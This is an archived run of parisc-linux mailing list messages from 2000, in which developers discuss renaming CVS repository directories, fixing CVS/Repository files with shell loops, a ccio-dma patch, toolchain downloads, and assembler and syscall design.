Organization: Legion of Mozilla
Lines: 38
Approved: news@gmane.org
Message-ID: <39CC0014.44712E59@subcarrier.org>
References: <Pine.LNX.4.21.0009231139030.31535-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619136 3923 80.91.229.3 (22 Nov 2014 01:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:56 +0000 (UTC)
To: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Fri Sep 22 18:56:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA21746
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 18:56:10 -0600
Original-Received: (qmail 14885 invoked by uid 15267); 23 Sep 2000 00:56:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14877 invoked from network); 23 Sep 2000 00:56:51 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 00:56:51 -0000
Original-Received: (qmail 23031 invoked from network); 23 Sep 2000 00:56:24 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 23 Sep 2000 00:56:24 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7976

No, what I gave will not work and is in fact *horribly wrong*.  I would
recommend that people use Alan's script fragment instead ;)

	- Mike.

Alan Modra wrote:
> 
> On Fri, 22 Sep 2000, Michael Ang wrote:
> 
> > "linux-2.3" will be renamed to "linux"
> > "binutils-2.10" will be renamed to "binutils"
> >
> > If you currently have a tree checked out, you will need to change all of
> > your CVS/Repository files to point to the new directory names.  With
> > bash you can do it like this:
> > $ cd linux-2.3
> > $ for i in `find . -name Repository`; do echo "linux" > $i; done
> > $ cd binutils-2.10
> > $ for i in `find . -name Repository`; do echo "binutils" > $i; done
> 
> Errm, will this work?  My linux-2.3/CVS/Repository file looks like this:
> /home/cvs/parisc/linux-2.3
> and linux-2.3/CVS/arch/Repository has
> /home/cvs/parisc/linux-2.3/arch
> 
> I wasn't game to try the above, and instead used
> 
> cd linux-2.3
> for z in `find . -name Repository`
> do
>   sed -e 's/-2.3//' $z > zzz && mv zzz $z
> done
> 
> with a simliar trick for binutils.
> 
> --
> Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross-toolchain and nfsroots
Date: Fri, 22 Sep 2000 19:22:13 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20000923012213.79114381CD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619137 3927 80.91.229.3 (22 Nov 2014 01:18:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:57 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Fri Sep 22 19:19:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA23181
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 19:19:46 -0600
Original-Received: (qmail 30550 invoked by uid 15267); 23 Sep 2000 01:20:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30534 invoked from network); 23 Sep 2000 01:20:27 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 01:20:27 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP id AD274874
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Sep 2000 19:20:35 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 79114381CD; Fri, 22 Sep 2000 19:22:13 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7977

I have posted a new X86/linux->parisc/linux cross toolchain at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20000921.tar.gz

I have also posted two new nfsroots. The first contains everything from Debian 
"base" that we have built so far(debs and tgz's). This is an attempt to 
generate something as close as possible to the base.tgz file that the Debian 
install uses. All the debs were installed natively so the package database is 
correct as well. It will serve as a good starting point for building a system 
and can be updated using dpkg/apt/etc. It's 33MB. It lives at,

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/base-20000922.tar.gz

The second nfsroot is the above "base" root plus all the other non-"base" 
Debian packages that we've done plus gcc/binutils. Think kitchen sink. It's 
43MB. It lives at,

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-20000922.tar.g
z

In case you're curious I placed notes on how I generated the above at,

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/recipe-20000922

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] internal error in tc-hppa.c?
Date: Sat, 23 Sep 2000 12:40:37 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009231204130.31535-100000@front.linuxcare.com.au>
References: <200009221900.MAA14390@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619137 3928 80.91.229.3 (22 Nov 2014 01:18:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Fri Sep 22 19:44:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA23652
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 19:44:48 -0600
Original-Received: (qmail 15348 invoked by uid 15267); 23 Sep 2000 01:45:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15323 invoked from network); 23 Sep 2000 01:45:27 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 01:45:27 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA00448;
	Sat, 23 Sep 2000 12:40:37 +1100
In-Reply-To: <200009221900.MAA14390@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7978

On Fri, 22 Sep 2000, Grant Grundler wrote:

> Could someone who has a clue about tc-hppa.c improve the
> error reporting for this case?
> I'm certain we are going to see this again...

OK, it's fairly easy to make gas report symbols associated with fixups
that it doesn't understand.  I'll look at it in a few hours - I'm off to
pick up a new car :)

This sort of bug is due to gas originally being written just to process
gcc output.  ie. gas lays no claim to being a general purpose assembler.
x86 gas had the same sort of behaviour a few years ago, and you might be
surprised to know I met with some resistance to making x86 gas more
general purpose.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Mon, 29 Mar 1999 15:41:40 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <199903292042.PAA00932@lucifier.dial-up.user.akula.net>
References: <199903292127.NAA30341@bart.allegro.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619137 3931 80.91.229.3 (22 Nov 2014 01:18:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:57 +0000 (UTC)
To: sieler@allegro.com (Stan Sieler)
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Mon Mar 29 16:41:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA04042
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 16:41:55 -0500
Original-Received: (qmail 4655 invoked by uid 15267); 29 Mar 1999 21:40:24 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 4648 invoked from network); 29 Mar 1999 21:40:23 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 21:40:23 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id PAA00932
	for hppa-linux@thepuffingroup.com; Mon, 29 Mar 1999 15:42:53 -0500 (EST)
In-Reply-To: <199903292127.NAA30341@bart.allegro.com> from Stan Sieler at "Mar 29, 99 01:27:01 pm"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Original-Sender: mickey@lucifier.dial-up.user.akula.net
Xref: news.gmane.org gmane.linux.ports.parisc:7979

re
okie, but why emulating gate instruction, when there is already such
instruction exist? (;
page w/ gate instructions needed for existing (3 already) operating systems
compatibility, so it's needed anyway, and btw having the gateway
page mapped (and only one) could result in that it's tlb mapping would
persist in the tlb improving perfomance, while doing if() would
always penilize. this needs actual measurement, but i beleive certain
cases w/ many syscalls being called should be very possible.
cu

Making, drinking tea and reading an opus magnum from Stan Sieler:
> Re:
> 
> > let's think what is less efficient: extra mapped page, or
> > extra indirrect ptr reference?
> > my point is, why map extra page (and waiste extra page) ?
> > one page is 128 page dir entries, hehe (; returning to the pd discussion)
> 
> If you're talking about the gateway page, if you don't actually *allocate*
> a page, but simply rely on the trap that occurs when you try to jump to it,
> then there's 0 storage cost for the extra mapped page approach...no TLB
> entry, no entries in other data structures.  The only cost is the
> additional CPU time in the TLB miss handler to say:
> 
>    if isr.ior = 0xc0000400 (or whatever)
>       then handle system call attempt
>    else
>       handle TLB miss
> 
> BTW, the extra cost of doing a system call mechanism via a non-mapped gateway page
> vs. using a GATE instruction is about 5 microseconds on a 32MHz machine.
>  
> -- 
> Stan Sieler                                          sieler@allegro.com
>                                      http://www.allegro.com/sieler.html
> 
> 


-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and ccio-dma
Date: Fri, 22 Sep 2000 23:30:41 -0600
Lines: 70
Approved: news@gmane.org
Message-ID: <39CC4001.50E72330@uswest.net>
References: <20000921201241.C28365@data.upl.cs.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------DC7AC919A57FF5003A3725B8"
X-Trace: ger.gmane.org 1416619138 3939 80.91.229.3 (22 Nov 2014 01:18:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Erik Paulson <epaulson@upl.cs.wisc.edu>, grundler@cup.hp.com
Original-X-From: rbradetich@uswest.net  Fri Sep 22 23:30:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA24647
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Sep 2000 23:30:02 -0600
Original-Received: (qmail 22297 invoked by uid 15267); 23 Sep 2000 05:30:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22283 invoked from network); 23 Sep 2000 05:30:43 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 05:30:43 -0000
Original-Received: (qmail 94687 invoked by alias); 23 Sep 2000 05:30:42 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 94658 invoked by uid 0); 23 Sep 2000 05:30:42 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 23 Sep 2000 05:30:42 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7980

This is a multi-part message in MIME format.
--------------DC7AC919A57FF5003A3725B8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Erik & Grant,

I think I have finally tracked this problem down... I don't think it is a bug
in either the ccio-dma or the sym53c8xx driver.... I believe it is a sizing
issue with the IO PDIR in the ccio-dma.  I spent some time last week
increasing the density of the IO PDIR by 4x ... it looks like I still have some
work to do :)

I increased the the IO PDIR ratio to main memory by 4x and I can
successfully format a 4G partition in my C200+.  (When I bumped
the IO PDIR ratio by 2x, is still had problems...)

Erik ... I've attached a small patch for you to try and see if it works for
you.

Thanks,

- Ryan


> Hi,
>         Using the CVS kernel on a C100 I'm seeing it die with an out-of-mapping
> resources error from ccio-dma.c. It looks like there's been some active
> development there about a week ago, but it's not helping my machine. The
> quickest way for me to bring it about is to try and use mke2fs, but just
> mounting the CD and running a few commands will oftentimes do the trick.
>
> How can I help debug this? There's really no useful information provided by
> the printk now - is there some sort of debugging info I could be collecting,
> or would a backtrace help?
>
> Thanks
>
> -Erik
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--------------DC7AC919A57FF5003A3725B8
Content-Type: text/plain; charset=us-ascii;
 name="ccio-dma.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ccio-dma.patch"

Index: ccio-dma.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/ccio-dma.c,v
retrieving revision 1.10
diff -u -p -u -r1.10 ccio-dma.c
--- ccio-dma.c	2000/09/15 00:57:14	1.10
+++ ccio-dma.c	2000/09/23 05:26:51
@@ -200,7 +200,7 @@ struct ccio_device {
 
 
 /* Ratio of Host MEM to IOV Space size */
-STATIC u_long ccio_mem_ratio = 16;
+STATIC u_long ccio_mem_ratio = 4;
 STATIC struct ccio_device *ccio_list = NULL;
 
 /**************************************************************

--------------DC7AC919A57FF5003A3725B8--


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Sat, 23 Sep 2000 15:03:44 +0800
Lines: 43
Approved: news@gmane.org
Message-ID: <20000923150340.M21274@neep.com.au>
References: <39CBF956.4833E405@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619138 3945 80.91.229.3 (22 Nov 2014 01:18:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Sat Sep 23 01:03:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA01448
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Sep 2000 01:03:39 -0600
Original-Received: (qmail 6128 invoked by uid 15267); 23 Sep 2000 07:04:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6117 invoked from network); 23 Sep 2000 07:04:20 -0000
Original-Received: from symphony-01.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.16)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 07:04:20 -0000
Original-Received: (qmail 2929 invoked by uid 666); 23 Sep 2000 07:04:08 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.165.199)
  by mail.iinet.net.au with SMTP; 23 Sep 2000 07:04:08 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA28258
	for parisc-linux@thepuffingroup.com; Sat, 23 Sep 2000 15:03:48 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <39CBF956.4833E405@subcarrier.org>; from mang@subcarrier.org on Fri, Sep 22, 2000 at 08:29:10PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7981

Michael Ang said:
> In order to reduce some of the confusion about which directory was
> active in the repository (did I want "binutils", "binutils-old", or
> "binutils-2.10"?) some of the directories in the repository will be
> renamed.  This will be moderately painful, but it's better to do the
> painful thing now while we can still stamp out the old cruft.
> 
> "linux-2.3" will be renamed to "linux"
> "binutils-2.10" will be renamed to "binutils"
> 
> If you currently have a tree checked out, you will need to change all of
> your CVS/Repository files to point to the new directory names.  With
> bash you can do it like this:

This file "binutils-2.10/gas/testsuite/gas/cris/CVS/Repository" doesn't
contain a full repository path - all the others are /home/cvs/... but
this one contains just the relative path.  Not sure what this means, if
anything...  Some of the Repository files in the linux-2.3 module have
the same sort of thing.  *shrug*  Anyone know?  =)

> $ cd linux-2.3
> $ for i in `find . -name Repository`; do echo "linux" > $i; done
> $ cd binutils-2.10
> $ for i in `find . -name Repository`; do echo "binutils" > $i; done

$ for i in $(find linux-2.3 binutils-2.10 -name Repository); do echo $(cat $i|sed 's/-[0-9.]*//') > $i; done

> P.S. If out of archeological interest you're looking for the old {linux,
> binutils, binutils-old, egcs-old} directory, it's been moved under
> directory "obsolete". e.g. "cvs co obsolete/binutils-old".

Why do this?  Why not just tag those two modules on Wednesday when you
make the change to the repository structure?

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Sat, 23 Sep 2000 15:29:22 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20000923152919.O21274@neep.com.au>
References: <39CBF956.4833E405@subcarrier.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619138 3951 80.91.229.3 (22 Nov 2014 01:18:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Sat Sep 23 01:29:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA01899
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Sep 2000 01:29:38 -0600
Original-Received: (qmail 19117 invoked by uid 15267); 23 Sep 2000 07:30:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19088 invoked from network); 23 Sep 2000 07:30:18 -0000
Original-Received: from symphony-01.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.16)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 07:30:18 -0000
Original-Received: (qmail 19239 invoked by uid 666); 23 Sep 2000 07:30:10 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.165.199)
  by mail.iinet.net.au with SMTP; 23 Sep 2000 07:30:10 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA28575
	for parisc-linux@thepuffingroup.com; Sat, 23 Sep 2000 15:29:25 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <39CBF956.4833E405@subcarrier.org>; from mang@subcarrier.org on Fri, Sep 22, 2000 at 08:29:10PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7982

Is anyone having trouble doing updates after the rename?

Not having any troubles with the binutils module but bombing out on
linux ...

cvs server: Updating linux/arch/alpha/math-emu
cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/arch/alpha/mathemu: No such file or directory


Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Sat, 23 Sep 2000 03:56:03 -0400
Organization: Legion of Mozilla
Lines: 28
Approved: news@gmane.org
Message-ID: <39CC6213.5B7DDC41@subcarrier.org>
References: <39CBF956.4833E405@subcarrier.org> <20000923150340.M21274@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619139 3958 80.91.229.3 (22 Nov 2014 01:18:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Sat Sep 23 01:54:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA02321
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Sep 2000 01:54:19 -0600
Original-Received: (qmail 31170 invoked by uid 15267); 23 Sep 2000 07:55:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31155 invoked from network); 23 Sep 2000 07:55:00 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 07:55:00 -0000
Original-Received: (qmail 27093 invoked from network); 23 Sep 2000 07:54:33 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 23 Sep 2000 07:54:33 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7983

Andrew Shugg wrote:
> 
> $ for i in $(find linux-2.3 binutils-2.10 -name Repository); do echo $(cat $i|sed 's/-[0-9.]*//') > $i; done

This is also incorrect since you'll replace any dashes that appear.  You
want this:
cd binutils-2.10
for z in `find . -name Repository`
do
  sed -e 's/-2.10//' $z > zzz && mv zzz $z
done

> > P.S. If out of archeological interest you're looking for the old {linux,
> > binutils, binutils-old, egcs-old} directory, it's been moved under
> > directory "obsolete". e.g. "cvs co obsolete/binutils-old".
> 
> Why do this?  Why not just tag those two modules on Wednesday when you
> make the change to the repository structure?

Because "linux-2.3" is being renamed to "linux", so the old "linux" had
to go.  The stuff being moved is very old, and is being moved out of the
way to reduce the amount of cruft in the top level of the repository. 
This should be the last time we have to do this.  After the rename, no
new directories should be created unless absolutely necessary: branches
should be used instead.

	- Mike.


From - Thu Nov 08 21:13:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Sat, 23 Sep 2000 04:05:34 -0400
Organization: Legion of Mozilla
Lines: 20
Approved: news@gmane.org
Message-ID: <39CC644E.BB3AA67E@subcarrier.org>
References: <39CBF956.4833E405@subcarrier.org> <20000923152919.O21274@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619139 3964 80.91.229.3 (22 Nov 2014 01:18:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Sat Sep 23 02:03:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA02711
	for <parisc-linux@puffin.external.hp.com>; Sat, 23 Sep 2000 02:03:50 -0600
Original-Received: (qmail 3629 invoked by uid 15267); 23 Sep 2000 08:04:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3606 invoked from network); 23 Sep 2000 08:04:30 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 23 Sep 2000 08:04:30 -0000
Original-Received: (qmail 7779 invoked from network); 23 Sep 2000 08:04:03 -0000
Original-Received: from cr482258-a.slnt1.on.wave.home.com (HELO subcarrier.org) (24.114.168.169)
  by relay1.pair.com with SMTP; 23 Sep 2000 08:04:03 -0000
X-pair-Authenticated: 24.114.168.169
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7984

This is because of a problem in your sed pattern.  Notice the mismatch
between "math-emu" and "mathemu".  You can hand edit your CVS/Repository
to be correct (add the dash back).

Playing directory games in the repository is always a bad scene.  But
there was a desire to get rid of the junk in the repository, and better
to pay the price now than have the old directories become entrenched. :/

	- Mike.

Andrew Shugg wrote:
> 
> Is anyone having trouble doing updates after the rename?
> 
> Not having any troubles with the binutils module but bombing out on
> linux ...
> 
> cvs server: Updating linux/arch/alpha/math-emu
> cvs [server aborted]: cannot open directory /home/cvs/parisc/linux/arch/alpha/mathemu: No such file or directory


From - Thu Nov 08 21:13:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs directory renaming - *action required*
Date: Sat, 23 Sep 2000 17:54:53 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20000923175449.R21274@neep.com.au>
References: <39CBF956.4833E405@subcarrier.org> <20000923152919.O21274@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619139 3976 80.91.229.3 (22 Nov 2014 01:18:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Sat Sep 23 03:55:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
